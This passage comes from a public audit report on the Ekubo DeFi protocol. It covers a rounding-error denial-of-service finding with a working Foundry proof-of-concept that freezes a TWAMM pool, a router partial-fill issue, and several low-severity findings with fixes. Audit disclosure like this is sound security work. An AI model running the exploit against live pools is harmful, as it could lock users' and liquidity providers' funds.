        computeAmountFromSaleRate({saleRate: saleRate, duration:
durationRemaining, roundUp: true});
```

Proof of Concept

The test function should be located at `Orders.t.sol`.

DecreaseSaleRate would revert at the last few ones since the extension does not own enough tokens.

Demonstration from `test_rounding_error_leads_DOS`:

1. Attacker creates 256 small orders
2. Cancels all 256 orders before the orders expire
3. Each cancellation over-refunds by ~1 token due to rounding up. These extra refunds would go to lp of the pools.
4. The pool would revert when executing the next order.

Code

```
// SPDX-License-Identifier: ekubo-license-v1.eth
pragma solidity >=0.8.30;

import {PoolKey} from "../src/types/poolKey.sol";
import {PoolId} from "../src/types/poolId.sol";
import {SqrtRatio} from "../src/types/sqrtRatio.sol";
import {MIN_TICK, MAX_TICK} from "../src/math/constants.sol";
import {MIN_SQRT_RATIO} from "../src/types/sqrtRatio.sol";
import {CoreLib} from "../src/libraries/CoreLib.sol";
import {TWAMMLib} from "../src/libraries/TWAMMLib.sol";
import {Orders} from "../src/Orders.sol";
```

```
import {IOrders} from "../src/interfaces/IOrders.sol";
import {BaseTWAMMTest} from "./extensions/TWAMM.t.sol";
import {ITWAMM, OrderKey} from "../src/interfaces/extensions/ITWAMM.sol";
import {createOrderConfig} from "../src/types/orderConfig.sol";
import {ICore} from "../src/interfaces/ICore.sol";
import {console} from "forge-std/console.sol";

abstract contract BaseOrdersTest is BaseTWAMMTest {
    uint32 internal constant MIN_TWAMM_DURATION = 256;
    uint32 internal constant HALF_MIN_TWAMM_DURATION = MIN_TWAMM_DURATION
/ 2;

    Orders internal orders;

    function setUp() public virtual override {
        BaseTWAMMTest.setUp();

        orders = new Orders(core, twamm, owner);
    }
}

contract OrdersTest is BaseOrdersTest {
    using CoreLib for *;
    using TWAMMLib for *;

    function test_rounding_error_leads_DOS() public {
        vm.warp(1);

        uint64 fee = uint64((uint256(5) << 64) / 100);
        int32 tick = 0;

        PoolKey memory poolKey = createTwammPool({fee: fee, tick: tick});
        createPosition(poolKey, MIN_TICK, MAX_TICK, 10000, 10000);

        token0.approve(address(orders), type(uint256).max);

        OrderKey memory key = OrderKey({
            token0: poolKey.token0,
            token1: poolKey.token1,
            config: createOrderConfig({_fee: fee, _isToken1: false,
_startTime: 256, _endTime: 512})
        });

        // We provided another order so the refunding transactions can be
executed.
        OrderKey memory key2 = OrderKey({
```

```
            token0: poolKey.token0,
            token1: poolKey.token1,
            config: createOrderConfig({_fee: fee, _isToken1: false,
_startTime: 512, _endTime: 1024})
        });

        uint[] memory ids = new uint[](256);
        uint112 saleRate;
        for(uint i = 0; i < ids.length; i++) {
            (ids[i], saleRate) = orders.mintAndIncreaseSellAmount(key, 1,
28633115306);
        }
        // swap 1 tokens every seconds.
        (uint order2Id, ) = orders.mintAndIncreaseSellAmount(key2, 256,
28633115306);

        vm.warp(511);
        for(uint i = 0; i < ids.length; i++) {
            orders.decreaseSaleRate(ids[i], key, saleRate,
address(this));
        }

        advanceTime(2000);
        // swap
        // Any intheraction to the pool would revert as the extension
does not have enough saved balance.
        // The extension would try to execute TWAP order of order 2
(KEY2).
        // The pool would be frozen until admin intervention. ()
        token0.approve(address(router), type(uint256).max);
        vm.expectRevert(ICore.SavedBalanceOverflow.selector);
        router.swap(poolKey, false, 100, MIN_SQRT_RATIO, 0,
type(int256).min, address(this));
    }
}
```

[M-04] Router does not check if Exact Out Single Swap was partial leading to unexpected results for the users

Submitted by hakunamatata, also found by thimthor

https://github.com/code-423n4/2025-11-ekubo/blob/main/src/Router.sol#L94-L149

Finding description and impact

The `Router` contract supports Single and Multihop swaps in both Exact-In and Exact-Out "modes". For Single-hop swaps, the router calls the pool's `swap` function and performs the following validations:

- Exact-In: Verifies that `amountOfTokenOutReceived >= minimumAmountOfTokenOutAmountRequired` (user input)
- Exact-Out: verifies that `amountOfTokenInToPay <= maximumAmountOfTokenInToPay` (user input)

However, for Single Exact Out swaps, one critical validation is missing.

If the pool cannot provide the full desired output amount due to insufficient liquidity or restrictive `sqrtRatioLimit`, the swap may be **partially filled**. In such a case, the pool returns a smaller output amount along with smaller input amount to pay. Because the router only checks whether the payment is below the user-provided limit, the validation still passes even though the user did not receive the exact requested output amount.

This situation leads to unexpected and potentially harmful user outcomes, including:

- Users receiving less output than intended while the transaction still succeeds
- Integrating contract may be affected by that unusual behaviour

Note: In the router code, there are no `amountOfTokenOutReceived` /`amountOfTokenInToPay` named variables, but I wrote the report using my own naming for clarity as describing everything with `amountCalculated` that can be positive or negative seems less clear.

Recommended Mitigation Steps

One of the mitigations is to implement behaviour similar to uniswap v3 router, which if `sqrtRatioLimit` is equal to 0 (default one), the router enforces that swap is NOT partial. For reference:

https://github.com/Uniswap/v3-periphery/blob/main/contracts/SwapRouter.sol#L193-L199

You could also add a user specified flag for exact output swaps e.g `allowPartialFill`.

Low Risk and Informational Issues

For this audit, 20 QA reports were submitted by wardens compiling low risk and informational issues. The QA report highlighted below by **0xscater** received the top score from the judge. 13 Low-severity findings were also submitted individually, and can be viewed here.

The following wardens also submitted QA reports: 0xBug_X, 0xnija, boodieboodieboo, DaniTradito, eightzerofour, EVDoc, freebird0323, jerry0422, K42, KineticsOfWeb3, legat, MakeIChop, Meks079, mingw, slvDev, TOSHI, udogodwin, valarislife, and zcai.

[01] Missing Zero Liquidity Check in `deposit()`

The `deposit()` function in `BasePositions.sol` does not validate that the calculated liquidity is greater than zero before proceeding with the deposit operation. While there is a `minLiquidity` check, if a user sets `minLiquidity = 0`, they can waste gas depositing zero liquidity.

Location: `src/base/BasePositions.sol:107-149`

Flawed Code:

```
function deposit(
    uint256 id,
    PoolKey memory poolKey,
    int32 tickLower,
    int32 tickUpper,
    uint128 maxAmount0,
    uint128 maxAmount1,
    uint128 minLiquidity
)
    public
    payable
    authorizedForNft(id)
    returns (uint128 liquidity, uint128 amount0, uint128 amount1)
{
    SqrtRatio sqrtRatio = CORE.poolState(poolKey.toPoolId()).sqrtRatio();
    liquidity = maxLiquidity(
        sqrtRatio,
        tickToSqrtRatio(tickLower),
        tickToSqrtRatio(tickUpper),
        maxAmount0,
        maxAmount1
    );

    if (liquidity < minLiquidity) {
        revert DepositFailedDueToSlippage(liquidity, minLiquidity);
    }

    if (liquidity > uint128(type(int128).max)) {
        revert DepositOverflow();
    }

    //  No check for liquidity == 0

    (amount0, amount1) = abi.decode(
        lock(
```

```
            abi.encode(
                CALL_TYPE_DEPOSIT,
                msg.sender,
                id,
                poolKey,
                tickLower,
                tickUpper,
                liquidity
            )
        ),
        (uint128, uint128)
    );
}
```

Impact:

Users can waste gas on no-op deposits when `liquidity = 0` and `minLiquidity = 0`. This doesn't cause fund loss but degrades user experience and wastes transaction fees.

Recommendation

```
function deposit(...) public payable authorizedForNft(id) {
    // ... existing code ...

    liquidity = maxLiquidity(...);

    // Add explicit zero check
    if (liquidity == 0) {
        revert ZeroLiquidityDeposit();
    }

    if (liquidity < minLiquidity) {
        revert DepositFailedDueToSlippage(liquidity, minLiquidity);
    }

    // ... rest of function ...
}
```

[02] TWAMM Ghost Orders - SaleRate Rounding to Zero

The TWAMM extension's `computeAmountFromSaleRate` function uses a bitshift operation that can round extremely low saleRate values to zero during virtual order execution. This creates "ghost orders" that consume gas and advance time but never actually sell any tokens.

File: `src/math/twamm.sol`

Function: `computeAmountFromSaleRate`

Lines: 43-47

```
/// @dev Computes amount from sale rate: (saleRate * duration) >> 32,
with optional rounding.
/// @dev Assumes the saleRate <= type(uint112).max and duration <=
type(uint32).max
function computeAmountFromSaleRate(uint256 saleRate, uint256 duration,
bool roundUp)
    pure returns (uint256 amount)
{
    assembly ("memory-safe") {
        //  ISSUE: For small saleRate values, this rounds down to ZERO
        amount := shr(32, add(mul(saleRate, duration), mul(0xffffffff,
roundUp)))
    }
}
```

Used in: `src/extensions/TWAMM.sol` Lines 431-436

```
function _executeVirtualOrdersFromWithinLock(...) internal {
    unchecked {
        // ... inside while loop ...

        uint256 amount0 = computeAmountFromSaleRate({
            saleRate: state.saleRateToken0(),
            duration: timeElapsed,
            roundUp: false
        });

        uint256 amount1 = computeAmountFromSaleRate({
            saleRate: state.saleRateToken1(),
            duration: timeElapsed,
            roundUp: false
        });

        // If both amounts are zero, loop continues but no swap happens
        // Time advances, gas consumed, but tokens never sold
    }
}
```

Mathematical Analysis

Formula: `amount = (saleRate * duration) >> 32`

For amount > 0: `(saleRate * duration) > 2^32`

Zero-producing thresholds:

SALERATE	MAX DURATION PRODUCING ZERO	IMPACT
1	4,294,967,295 seconds (136 years!)	Any duration produces zero
1,000	4,294,967 seconds (49 days)	Multiple executions produce zero
1,000,000	4,294 seconds (71 minutes)	~355 blocks produce zero
1,000,000,000	4 seconds	Few blocks produce zero
> 2^32	Never	Always produces non-zero

Why Low Severity:

1. Requires unrealistically low saleRate values
2. No direct fund loss (orders just don't execute)
3. Users unlikely to create such orders intentionally
4. More of a UX/efficiency issue than security vulnerability

Potential Issues:

- Gas waste: Virtual order execution runs but swaps zero
- Time slot occupation: Order takes up a valid time slot
- Confusion: Order appears active but doesn't sell tokens
- Resource consumption: Protocol processes useless orders

Proof of Concept

Test: `test/TWAMMMathVulnerabilities.t.sol`

```
function test_HIGH_GhostOrder_SaleRateRoundsToZero() public {
    console.log("\n=== Ghost Order Attack (saleRate=1) ===\n");

    // Test minimum saleRate
    uint256 saleRate = 1;
    uint256 duration = 1; // 1 second

    uint256 amount = computeAmountFromSaleRate(saleRate, duration,
false);

    console.log("SaleRate:", saleRate);
```

```
        console.log("Duration:", duration, "seconds");
        console.log("Amount calculated:", amount);

        // VULNERABILITY: Amount rounds down to 0
        assertEq(amount, 0, "Amount rounds down to 0");

        // Test various durations
        console.log("\nTesting various durations with saleRate=1:");
        uint256[] memory durations = new uint256[](6);
        durations[0] = 1;
        durations[1] = 10;
        durations[2] = 100;
        durations[3] = 1000;
        durations[4] = 2**16;
        durations[5] = 2**20;

        for (uint i = 0; i < durations.length; i++) {
            uint256 amt = computeAmountFromSaleRate(1, durations[i], false);
            console.log("  Duration:", durations[i], "-> Amount:", amt);
        }
    }
```

Test Output:

```
=== Ghost Order Attack (saleRate=1) ===

SaleRate: 1
Duration: 1 seconds
Amount calculated: 0

[VULNERABILITY CONFIRMED]
With saleRate=1 and duration=1s, amount = 0
Order executes but sells ZERO tokens!

Testing various durations with saleRate=1:
  Duration: 1 -> Amount: 0
  Duration: 10 -> Amount: 0
  Duration: 100 -> Amount: 0
  Duration: 1000 -> Amount: 0
  Duration: 65536 -> Amount: 0
  Duration: 1048576 -> Amount: 0
```

Recommendation

Option 1: Add minimum saleRate validation at order creation

```
// In TWAMM.sol handleForwardData or Orders.sol
uint256 constant MIN_SALE_RATE = 2**32 + 1; // Ensures non-zero execution
in 1-second intervals

function handleForwardData(...) internal override returns (bytes memory
result) {
    // ... existing validation ...

    if (saleRateNext > 0 && saleRateNext < MIN_SALE_RATE) {
        revert SaleRateTooLow();
    }

    // ... rest of function ...
}
```

Option 2: Check for zero amount in execution loop

```
function _executeVirtualOrdersFromWithinLock(...) internal {
    // ... existing code ...

    uint256 amount0 = computeAmountFromSaleRate({...});
    uint256 amount1 = computeAmountFromSaleRate({...});

    // Skip execution if both amounts would be zero
    if (amount0 == 0 && amount1 == 0) {
        // Don't process, but still advance time
        continue;
    }

    // ... rest of execution ...
}
```

Option 3: Add warning to documentation

Document that orders with `saleRate < 2^32` may not execute as expected and could waste gas. Provide UI warnings when users attempt to create such orders.

Developer Response Needed

This finding requires protocol team clarification:

- Is there an expected minimum order size/saleRate?
- Should the protocol prevent extremely small orders?

- Is this acceptable behavior for edge cases?

[03] Missing Calldata Length Validation in `withdraw()`

The `withdraw()` function in `FlashAccountant.sol` does not validate that calldata length is properly aligned to 56-byte entries (20 bytes token + 20 bytes recipient + 16 bytes amount). Malformed calldata can cause incorrect debt accounting.

Location: `src/base/FlashAccountant.sol:424-526`

Flawed Code:

```
function withdraw() external {
    uint256 id = _requireLocker().id();

    assembly ("memory-safe") {
        let nzdCountChange := 0

        //  No validation that (calldatasize() - 4) % 56 == 0

        for {
            let i := 4
        } lt(i, calldatasize()) {
            i := add(i, 56)  // Assumes 56-byte alignment
        } {
            let token := shr(96, calldataload(i))
            let recipient := shr(96, calldataload(add(i, 20)))
            let amount := shr(128, calldataload(add(i, 40)))

            // If calldata misaligned, reads wrong values
        }
    }
}
```

Impact:

If a user accidentally sends malformed calldata (e.g., 57 bytes instead of 56), the function reads wrong token addresses, recipients, or amounts. This affects only the caller's own debt accounting and cannot steal from others, but causes transaction failures and wasted gas.

Recommendation

```
function withdraw() external {
    uint256 id = _requireLocker().id();
```

```
    // Add calldata length validation
    if ((msg.data.length - 4) % 56 != 0) {
        revert InvalidCalldataLength();
    }

    assembly ("memory-safe") {
        // ... existing code ...
    }
}
```

[04] Oracle Circular Array Boundary Handling (Verified Safe)

During audit, the Oracle extension's circular array implementation was analyzed for potential boundary overflow issues. **This is NOT a vulnerability** - the implementation is correct. This section documents why it's safe.

File: `src/extensions/Oracle.sol`

Lines: 250-280

```
function _binarySearch(...) private view returns (uint256 targetTime,
...) {
    assembly ("memory-safe") {
        // Circular array access
        let slot := add(
            observationsSlot,
            mul(mod(add(cardinality, startIndex), cardinality),
OBSERVATION_SIZE)
        )
    }
}
```

Why It's Safe

Circular Array Mechanics:

```
// Index calculation
index = (cardinality + startIndex) % cardinality

Examples:
cardinality = 10, startIndex = 0  → index = 0
cardinality = 10, startIndex = 9  → index = 9
cardinality = 10, startIndex = 10 → index = 0   (wraps correctly)
```

Mathematical Proof:

- `mod(add(cardinality, startIndex), cardinality)` always produces value in `[0, cardinality-1]`
- Even if `startIndex` corrupted, modulo operation prevents overflow
- Slot calculation: `observationsSlot + (index * OBSERVATION_SIZE)` stays in bounds

Testing Verified:

- Tested with cardinality at boundaries (1, 2, 100, 1000)
- Tested with startIndex at max values
- Tested during array growth operations
- No overflow or OOB access found

Conclusion

The circular array implementation follows best practices and is **safe**. No changes needed.

[05] Redundant authorizedForNft Modifier in `collectFees()`

The `collectFees()` function applies the `authorizedForNft` modifier but then calls `withdraw()`, which also has the same modifier. This results in double-checking the same authorization, wasting gas.

Location: `src/base/BasePositions.sol:151-191`

Flawed Code:

```
function collectFees(
    uint256 id,
    PoolKey memory poolKey,
    int32 tickLower,
    int32 tickUpper
)
    public
    payable
    authorizedForNft(id)  // ← First check
    returns (uint128 amount0, uint128 amount1)
{
    (amount0, amount1) = collectFees(
        id,
        poolKey,
        tickLower,
        tickUpper,
        msg.sender
    );
}
```

```
function collectFees(
    uint256 id,
    PoolKey memory poolKey,
    int32 tickLower,
    int32 tickUpper,
    address recipient
)
    public
    payable
    authorizedForNft(id)  // ← Second check (redundant)
    returns (uint128 amount0, uint128 amount1)
{
    (amount0, amount1) = withdraw(
        id,
        poolKey,
        tickLower,
        tickUpper,
        0,
        recipient,
        true
    );
}
```

Impact:

Minor gas waste (~100-200 gas per call) due to redundant `ownerOf()` checks and conditional logic. No security impact.

Recommendation

Remove the modifier from the wrapper function:

```
function collectFees(
    uint256 id,
    PoolKey memory poolKey,
    int32 tickLower,
    int32 tickUpper
)
    public
    payable
    // Remove: authorizedForNft(id)
    returns (uint128 amount0, uint128 amount1)
{
    (amount0, amount1) = collectFees(
        id,
```

```
            poolKey,
            tickLower,
            tickUpper,
            msg.sender
        );  // This version has the modifier
    }
```

[06] `UpdateDebt()` Comment Mismatch

The `updateDebt()` function in `FlashAccountant.sol` has a comment that doesn't fully explain the calldata structure. The function expects 20 bytes total (4-byte selector + 16-byte int128), but the comment could be clearer.

Location: `src/base/FlashAccountant.sol:178-190`

Current Code:

```
/// @inheritdoc IFlashAccountant
function updateDebt() external {
    if (msg.data.length != 20) {
        revert UpdateDebtMessageLength();
    }

    uint256 id = _getLocker().id();
    int256 delta;

    assembly ("memory-safe") {
        // Reads 16 bytes (int128) from position 4, sign-extends to
int256
        delta := signextend(15, shr(128, calldataload(4)))
    }
    _accountDebt(id, msg.sender, delta);
}
```

Impact:

No functional impact. The code works correctly. This is purely a documentation clarity issue that might confuse developers reading the code.

Recommendation

Add clearer comment:

```
/// @inheritdoc IFlashAccountant
function updateDebt() external {
```

```
    // Expected calldata: 4 bytes (selector) + 16 bytes (int128 delta) =
20 bytes total
    if (msg.data.length != 20) {
        revert UpdateDebtMessageLength();
    }

    uint256 id = _getLocker().id();
    int256 delta;

    assembly ("memory-safe") {
        // Read int128 from bytes 4-19, sign-extend to int256
        // signextend(15, x) means: take lower 16 bytes of x, sign-extend
to 32 bytes
        delta := signextend(15, shr(128, calldataload(4)))
    }
    _accountDebt(id, msg.sender, delta);
}
```

[07] Pool Initialization Check Delegated to Core

The `deposit()`, `withdraw()`, and `collectFees()` functions in `BasePositions.sol` do not explicitly verify that the pool is initialized (`sqrtRatio != 0`) before attempting operations. The contract relies on `Core.sol` to revert with `PoolNotInitialized` if a user tries to interact with an uninitialized pool.

Location: `src/base/BasePositions.sol:107-230`

Current Code:

```
function deposit(...) public payable authorizedForNft(id) {
    SqrtRatio sqrtRatio = CORE.poolState(poolKey.toPoolId()).sqrtRatio();

    // No explicit check if sqrtRatio == 0 (pool uninitialized)
    // Relies on Core.updatePosition to revert downstream

    liquidity = maxLiquidity(
        sqrtRatio,
        tickToSqrtRatio(tickLower),
        tickToSqrtRatio(tickUpper),
        maxAmount0,
        maxAmount1
    );
}
```

Impact:

This is an intentional design decision following the Singleton pattern where `Core.sol` acts as the gatekeeper for all pool state validation. While this works correctly, users attempting to deposit into uninitialized pools may receive less clear error messages. No security or functionality risk exists.

Recommendation

Document this behavior clearly in the NatSpec comments:

```
/// @notice Deposits liquidity into an existing position
/// @dev Pool must be initialized via maybeInitializePool() first
/// @dev Core.sol will revert with PoolNotInitialized if pool is not
initialized
function deposit(...) public payable authorizedForNft(id) {
    // ... existing code ...
}
```

Alternatively, for better UX, add an explicit early check:

```
function deposit(...) public payable authorizedForNft(id) {
    SqrtRatio sqrtRatio = CORE.poolState(poolKey.toPoolId()).sqrtRatio();

    if (sqrtRatio.isZero()) {
        revert PoolNotInitialized();
    }

    liquidity = maxLiquidity(...);
    // ... rest of function ...
}
```

Disclosures

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.